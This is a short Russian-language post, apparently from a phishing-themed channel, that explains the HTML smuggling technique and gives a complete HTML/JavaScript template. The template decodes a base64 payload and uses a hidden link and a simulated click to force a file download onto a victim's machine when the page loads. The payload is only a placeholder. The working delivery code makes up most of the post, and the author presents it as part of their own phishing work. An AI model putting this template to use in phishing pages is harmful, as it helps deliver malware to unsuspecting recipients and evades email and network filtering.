Сегодня я расскажу о другой части моей работы -
Phishing.Фишинг - это отправка мошеннических электронных писем с целью повлиять на жертву или заставить ее предоставить информацию , открытый файл или перейти по ссылкам.
Одной из актуальных техник является
HTML Smuggling. Используя HTML5 и JavaScript можно доставить вредоносный файл на хост внутри HTML файла. В нем может содержаться большой бинарный объект JavaScript Blobs.Blob
Неизменяемый объект, который представляет собой необработанные данные.
var myBlob = new Blob([myData], {type: 'octet/stream'});
Это создает
Blob типа MIME octet/stream и заполняет данные, содержащиеся в myData. Затем создается
URL адрес из объекта Blob:
var myUrl = window.URL.createObjectURL(blob);
myAnchror.href = myUrl;
Далее, можно имитировать щелчок на якорном объекте с помощью метода
HTMLElement.click():
myAnchor.click()
Пример
В данном примере содержимое файла будет закодировано в
base64. В других постах приведу другие примеры для данной техники:3
<html>
<head>
<title>HTML smuggling demo</title>
</head>
<body>
<script>
function base64ToArrayBuffer(base64) {
var binary_string = window.atob(base64);
var len = binary_string.length;
var bytes = new Uint8Array( len );
for (var i = 0; i < len; i++) { bytes[i] = binary_string.charCodeAt(i); }
return bytes.buffer;
}
var file = <!--payload in base64-->
var data = base64ToArrayBuffer(file);
var blob = new Blob([data], {type: 'octet/stream'});
var fileName = 'payload.txt';
if(window.navigator.msSaveOrOpenBlob) window.navigator.msSaveBlob(blob,fileName);
else {
var a = document.createElement('a');
document.body.appendChild(a);
a.style = 'display: none';
var url = window.URL.createObjectURL(blob);
a.href = url;
a.download = fileName;
a.click();
window.URL.revokeObjectURL(url);
}
</script>
</body>
</html>
#phishing@coffee_cube